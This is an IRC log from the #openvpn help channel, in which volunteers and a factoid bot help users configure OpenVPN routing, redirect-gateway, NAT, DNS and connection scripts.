01:35 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These are just the
01:35 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
01:35 < jzaw> cool
01:40 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
02:01 -!- laner [~Lane@pool-98-111-237-34.pitbpa.fios.verizon.net] has quit [Quit: Computer has gone to sleep.]
02:02 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 256 seconds]
02:11 -!- pieterm [~pieterm@mail1.bbdo.be] has joined #openvpn
02:11 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
02:18 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:56 -!- u0m3_ [~Radu@92.80.85.78] has quit [Ping timeout: 240 seconds]
03:07 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 258 seconds]
03:10 -!- dazo_afk is now known as dazo
03:13 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
03:31 -!- pieterm [~pieterm@mail1.bbdo.be] has quit [Quit: pieterm]
04:01 -!- mementomori [~mementomo@unaffiliated/mementomori] has quit [Quit: Sto andando via]
05:07 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
05:08 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
05:44 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
05:58 < defswork> BadCodSmell, there are several ways to acheive that
06:01 < defswork> BadCodSmell, a simple learn address script should suffice
06:21 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Ping timeout: 252 seconds]
06:25 -!- mattock_afk is now known as mattock
06:27 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
06:28 -!- brute11k [~brute@89.249.231.147] has joined #openvpn
06:33 -!- shm [shm@turing.digitalsun.pl] has joined #openvpn
06:36 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:42 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 258 seconds]
06:45 -!- newbie|2 [~tjz@bb119-74-164-84.singnet.com.sg] has joined #openvpn
06:48 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
06:54 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
07:05 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:12 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
07:14 -!- dazo is now known as dazo_afk
07:21 -!- laner [~Lane@pool-98-111-237-34.pitbpa.fios.verizon.net] has joined #openvpn
07:26 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has quit [Excess Flood]
07:26 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has joined #openvpn
07:30 -!- master_o1_master [~master_of@p4FF24CA8.dip.t-dialin.net] has joined #openvpn
07:34 -!- master_of_master [~master_of@p4FF244D8.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
07:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:35 -!- spiekey [~mario@projekte.imos.net] has joined #openvpn
07:35 < spiekey> Hello!
07:35 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:39 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
07:45 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 245 seconds]
07:53 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
07:56 -!- laner [~Lane@pool-98-111-237-34.pitbpa.fios.verizon.net] has quit [Quit: Computer has gone to sleep.]
08:06 <@ecrist> hello
08:08 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
08:08 < EugeneKay> Hai
08:24 -!- JSharpe_ [~JSharpe@90.211.142.250] has joined #openvpn
08:25 -!- JSharpe [~JSharpe@ns264658.ovh.net] has quit [Ping timeout: 245 seconds]
08:26 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:27 -!- pagios [~pagios@46.19.194.112] has joined #openvpn
08:28 < pagios> hello, is there a  way to detect when a new vpn is established and run some scripts?
08:48 < EugeneKay> pagios - look at the SCRIPTING section in the man page.
08:48 < EugeneKay> !man
08:48 -!- ade_b [~Ade@bba427453.alshamil.net.ae] has joined #openvpn
08:48 -!- ade_b [~Ade@bba427453.alshamil.net.ae] has quit [Changing host]
08:48 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:48 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
09:02 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
09:03 -!- defswork [~andy@141.0.50.105] has joined #openvpn
09:04 < AccessDenied> !welcome
09:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
09:04 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:04 < AccessDenied> !redirect
09:04 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:04 <@vpnHelper> http://ircpimps.org/redirect.png
09:05 < AccessDenied> !def1
09:05 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
09:06 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
09:06 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
09:06 < AccessDenied> where can i see at this  "0.0.0.0/1 and 128.0.0.0/1"
09:06 < AccessDenied> config file?
09:06 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
09:07 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
09:07 < AccessDenied> or what is the answer fot redirect for sending inet traffic through the server
09:07 < AccessDenied> !man
09:07 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
09:08 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
09:10 < AccessDenied> how to route all the internet traffic and change the ip to the vpn ip when visiting any website or post on a forums? how do i configured openvpn app to works with OS if it not set by default?
09:10 < AccessDenied> !goal
09:10 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:11 < AccessDenied> !goal I would like to access the internet over my vpn
09:12 -!- dazo_afk is now known as dazo
09:13 < AccessDenied> what does it means when u launch openvpn app and connected to a server and it notify you "your ip assigned 123.123.123.123"
09:13  * AccessDenied see nothing changed...
09:23 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
09:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:34 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
09:52 -!- raidz_away is now known as raidz
09:56 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
09:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:17 <@ecrist> AccessDenied: that means the VPN assigned you that IP address
10:20 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
10:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
10:36 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:38 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:40 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has left #openvpn []
10:59 -!- spiekey [~mario@projekte.imos.net] has quit [Quit: Ex-Chat]
11:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:06 < pagios> when we say successful TUN/TAP device open  do we mean when tunnel is established between client and server?
11:08 -!- Dave2 [~Dave2@happy/birthday/dave2] has quit [Changing host]
11:08 -!- Dave2 [~Dave2@freenode/staff/dave2] has joined #openvpn
11:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
11:16 -!- mode/#openvpn [+v s7r] by ChanServ
11:22 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has joined #openvpn
11:24 -!- shm [shm@turing.digitalsun.pl] has left #openvpn []
11:36 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 245 seconds]
11:37 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
11:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:47 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:55 -!- ade_b [~Ade@94.200.211.2] has joined #openvpn
11:55 -!- ade_b [~Ade@94.200.211.2] has quit [Changing host]
11:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:05 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 256 seconds]
12:07 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:12 -!- smerz_ [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
12:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:22 -!- GGD [~GGD@pool-173-72-253-89.clppva.fios.verizon.net] has quit [Ping timeout: 256 seconds]
12:29 <@ecrist> pagios: no, it simply means the device is accessible by the user running the openvpn process
12:29 <@ecrist> and that the device exists
12:29 < pagios> i need to execute a script when the tunnel is established..
12:31 <@ecrist> --up
12:31 <@ecrist> for the client side
12:31 <@ecrist> --client-connect for the server side
12:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
13:04 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:13 -!- brute11k [~brute@89.249.231.147] has quit [Ping timeout: 252 seconds]
13:13 -!- brute11k [~brute@89.249.231.147] has joined #openvpn
13:23 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
13:23 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
13:24 -!- dazo is now known as dazo_afk
13:28 -!- dazo_afk is now known as dazo
13:29 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Read error: Connection reset by peer]
13:34 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
13:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
14:01 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 246 seconds]
14:03 < pagios> ecrist : --client-connect to detect when a client binds to the vpn?
14:09 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:09 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has joined #openvpn
14:09 -!- swiftkey [swiftkey@2a01:7e00::f03c:91ff:feae:714e] has quit [Changing host]
14:09 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
14:14 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
14:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
14:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:26 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has quit [Ping timeout: 246 seconds]
14:27 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
14:31 -!- pagios [~pagios@46.19.194.112] has quit [Ping timeout: 276 seconds]
14:34 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
14:35 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
14:39 -!- pagios [~pagios@46.19.194.121] has joined #openvpn
14:39 < pagios> anyone replied? i got dc
14:40 <@ecrist> pagios: yes, use --client-connect to run scripts when clients connect to the server
14:41 <@ecrist> see the man page
14:41 <@ecrist> !man
14:41 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:41 < pagios> thanks
14:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
14:57 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
15:00 -!- pagios [~pagios@46.19.194.121] has quit [Ping timeout: 245 seconds]
15:00 -!- pagios [~pagios@46.19.194.80] has joined #openvpn
15:03 -!- dazo is now known as dazo_afk
15:05 < AccessDenied> hi
15:05 < AccessDenied> i need help
15:06 < AccessDenied> i successfully connected to my vpn server but i still dont understand 1 thing to works on it
15:06 < AccessDenied> here i would paste the my logs to stated that its openvpn app successfully get connected
15:06 < AccessDenied> Tue Apr 16 04:01:58 2013 us=25189 MANAGEMENT: >STATE:1366056118,CONNECTED,SUCCESS,172.27.0.115,198.252.153.26
15:07 < AccessDenied> but when i go to visits https://torvpn.com/myip.html its still the same ip
15:07 <@vpnHelper> Title: My IP address - TorVPN (at torvpn.com)
15:07 < AccessDenied> what could that need to be configure NEXT?
15:07 < AccessDenied> http://www.youtube.com
15:07 -!- Markz [~Mr_Worldw@hideip-germany2.kryptotel.net] has joined #openvpn
15:07 <@vpnHelper> Title: YouTube (at www.youtube.com)
15:08 < AccessDenied> http://www.youtube.com/watch?v=SIRUzqHTNh8
15:08 <@vpnHelper> Title: NAPALM DEATH - When All Is Said And Done (OFFICIAL VIDEO) - YouTube (at www.youtube.com)
15:08 < Markz> hi cannot ping vpn hostname from provider
15:08 < AccessDenied> http://rootbsd.net
15:08 <@vpnHelper> Title: RootBSD FreeBSD VPS Dedicated and Cloud Hosting (at rootbsd.net)
15:08 < AccessDenied> http://rootbsd.tk
15:08 <@vpnHelper> Title: RootBSD | Projects Site (at rootbsd.tk)
15:09 < AccessDenied> !goal
15:09 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:10 < Markz> from time to time i lose the connection and than: cannot resolve the hostname
15:12 < Markz> before its an inactivity timeout but i know i was watching a video that cannot be an timeout
15:16 -!- MadTBone [~MadTBone@160.39.238.196] has joined #openvpn
15:16 < AccessDenied> !man
15:16 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:17 < AccessDenied> !redirect
15:17 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:17 <@vpnHelper> http://ircpimps.org/redirect.png
15:17 < AccessDenied> !ipforward
15:17 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
15:17 < AccessDenied> !winipforward
15:17 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
15:19 < AccessDenied> hmm
15:20 < Markz> i can connect to vpn without any forwarding in the router i have no rule in there but from time to time i lose the connection and than it cannot be reconnected
15:24 < AccessDenied> hey markz how do u set the openvpn to manages changing ur ip instead using the isp ip address
15:24 < AccessDenied> how do they works?
15:25 < AccessDenied> !gateway
15:25 < AccessDenied> !dns
15:25 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
15:25 < Markz> now i used openvpn portable
15:25 < AccessDenied> portable and non portable its look same to me
15:25 < AccessDenied> it doesnt works
15:26 < AccessDenied> id used to run it on admin priviledge
15:26 < AccessDenied> and changed the regedit HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
15:26 < AccessDenied> but all craps
15:26 < Markz> and than no loses of the connection?
15:27 < AccessDenied> how did it works started from Tue Apr 16 04:15:55 2013 us=287464 MANAGEMENT: >STATE:1366056955,CONNECTED,SUCCESS,ipxxxxx.xx.xx.xx
15:27 < AccessDenied> but wierd doesnt changes anything only the openVPN software light turn into green
15:28 < AccessDenied> and there is nothing could do on the "settings"
15:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:28 < AccessDenied> its only allow for some proxy and socks configuration there
15:28 -!- MadTBone [~MadTBone@160.39.238.196] has quit [Quit: Leaving]
15:28 < Markz> accessdenied what can i do
15:29 < AccessDenied> nahh at least u use it to connect and the ip changed
15:30 < Markz> yes my ip changed but from time to time i los the connection and than cannot resolve the hostname
15:30 < AccessDenied> can*
15:30 < AccessDenied> ooh it might be the server issue
15:30 < AccessDenied> and ur client looks fine perhaps..
15:31 < Markz> the server is from the vpn provider
15:31 < AccessDenied> i could connect to it but doesnt change anything for my ip
15:32 < AccessDenied> i want it just to be like and irc client .. as easy as open irssi type /server connect irc.freenode.net 6667
15:32 < AccessDenied> and chat thats all
15:33 < Markz> is this when to many users uses the same keys than reconnect i found in time who not so many people stay on the internet than not so much reconnects
15:33 < AccessDenied> but how does this thing gonna change my ip from that point i dont really understand
15:35 < pekster> !redirect
15:35 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:35 <@vpnHelper> http://ircpimps.org/redirect.png
15:36 < pekster> Oh, providers. :(
15:36 < pekster> !provider
15:36 < Markz> or its different from ip to ip from the vpn provider with on ip i can stay much longer with other ips from the provider i can stay not more hes loading and loading nothing do and than after 2 - 3 minutes the icon changed to orange and i watch the log and see cannot resolve the hostname
15:36 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
15:36 < Markz> inactivity timeout
15:36 < Markz> but i was surfing all the time
15:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
15:37 < pekster> That doesn't mean anything as multiple things can cause an innactivity timeout
15:38 < AccessDenied> OMG
15:38 < Markz> yes but other vpns like hotplots vpn i can ping there hostname but with this vpn provider i cannot ping there hostname
15:38 < pekster> Markz: Also not relevant. If you don't control both sides of the connection, identifying issues becomes next to impossible. We'd need configs & logs from *both* sides
15:39 < pekster> !both
15:39 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
15:40 -!- Patrick__ [~Mr_Worldw@p5B2CDECC.dip.t-dialin.net] has joined #openvpn
15:40 < AccessDenied> hi pekster dp u see what wrong with problem
15:40 < AccessDenied> can u scroll up for a mins
15:40 < AccessDenied> i m new to openvpn
15:40 < AccessDenied> anything want to use it also i dont really clear abt it
15:41 < Patrick__> do you see connection los
15:41 < AccessDenied> but one thing i noe i can manage to conenct to it
15:41 < Patrick__> im markz
15:41 -!- Patrick__ [~Mr_Worldw@p5B2CDECC.dip.t-dialin.net] has quit [Client Quit]
15:42 < AccessDenied> pekster do it have something i would like to configure for using openvpn maybe 127.0.0.1
15:42 < AccessDenied> it doesnt change the ip how come/
15:43 < pekster> What are you trying to do?
15:43 -!- Markz [~Mr_Worldw@hideip-germany2.kryptotel.net] has quit [Ping timeout: 264 seconds]
15:43 < AccessDenied> so what for im using openvpn and connecting to a vpn server when it does not change my ip
15:43 < AccessDenied> im alrd connecting to the vpnserver via openvps software
15:43 -!- Markz [~Mr_Worldw@46.252.151.25] has joined #openvpn
15:44 < Markz> did you see i loses the connection
15:44 < AccessDenied> sand here my last log Tue Apr 16 04:29:23 2013 us=545285 MANAGEMENT: >STATE:1366057763,CONNECTED,SUCCESS,172.27.0.115,198.252.153.26
15:44 < pekster> OpenVPN will never "change" your IP. You'll get another IP
15:44 < AccessDenied> how do i do that
15:44 < pekster> Do what?
15:44 < pekster> What's the goal here? What are you trying to do, when everything is working?
15:44 < AccessDenied> do as what the vpn should do to encrypt and connecting between the vpn network
15:45 < AccessDenied> I would like to access the internet over my vpn
15:45 < pekster> Follow the !redirect steps then
15:45 < AccessDenied> thats all
15:45 < AccessDenied> !goal
15:45 < pekster> There's a convenient flowchart
15:45 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
15:46 < AccessDenied> !redirect
15:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:46 <@vpnHelper> http://ircpimps.org/redirect.png
15:46 < AccessDenied> which one there are too many?
15:46 < Markz> im using the dns leak test fix when established he say cannot clear the dns cache of the adapter clear it manually
15:46 < AccessDenied> !redirect
15:46 < pekster> If that's too much reading, openvpn is probably not for you
15:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:46 <@vpnHelper> http://ircpimps.org/redirect.png
15:47 < AccessDenied> aah
15:47 < pekster> Markz: I don't care. If you're using a provider, we can't help you since you can't post configs or logs from both sides. Please go away and ask your provider
15:47 < AccessDenied> http://ircpimps.org/redirect.png
15:47 < Markz> why both im not the provider im the just the client
15:47 < pekster> Right
15:47 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Ping timeout: 264 seconds]
15:48 < pekster> !provider
15:48 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
15:48 < Markz> but i know you know also much about it
15:49 < pekster> I know nothing about how THEIR system is configured. That is required to correct problems
15:50 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
15:53 < Markz> ok i have register an account on host1free.com free vps and i will be my own and can handle but not really i think he doenst allow tun on the servers
15:56 -!- Patrick__ [~Mr_Worldw@p5B2CDECC.dip.t-dialin.net] has joined #openvpn
15:56 -!- Markz [~Mr_Worldw@46.252.151.25] has quit [Read error: Connection reset by peer]
15:56 < Patrick__> next connection lose
15:57 < Patrick__> and nobody can help i go to sleep
15:57 -!- Patrick__ [~Mr_Worldw@p5B2CDECC.dip.t-dialin.net] has quit [Client Quit]
15:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:04 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:06 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Read error: Connection reset by peer]
16:07 -!- Devastator- [~devas@186.214.15.63] has joined #openvpn
16:07 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
16:08 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
16:11 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:12 -!- Devastator- [~devas@186.214.15.63] has quit [Changing host]
16:12 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
16:12 -!- Devastator- is now known as Devastator
16:17 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
16:20 < AccessDenied> !nat
16:20 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
16:21 < AccessDenied> !redirect
16:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:21 <@vpnHelper> http://ircpimps.org/redirect.png
16:21 -!- manitou [~manitou@unaffiliated/manitou] has joined #openvpn
16:22 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:22 < manitou> hi ! i just made openvpn server . just is still show my provider ip !? how to regulate that ? or is it secure enough ?
16:24 < Poster> try explaining what it is you're trying to accomplish
16:27 < manitou> just to hide ip ?! Poster
16:28 < manitou> ca it be done just with openvpn or i need some more services to run ?
16:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
16:33 -!- u0m3 [~Radu@92.80.85.78] has joined #openvpn
16:35 < manitou> Poster: ned direction where to look for masking ip with openvpn ?!
16:35 < pekster> Start here:
16:35 < pekster> !redirect
16:35 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
16:35 <@vpnHelper> http://ircpimps.org/redirect.png
16:36 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
16:36 < manitou> ok thx pekster
16:38 < AccessDenied> !pushdns
16:38 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
16:38 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
16:38 < AccessDenied> !dns
16:38 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
16:38 -!- AccessDenied [Betrayer@gateway/shell/trekweb.org/x-ghikjefonlkbniia] has left #openvpn []
16:46 < manitou> ok i get it , one more , is it danger that it use my ip ! is data still crypted ?
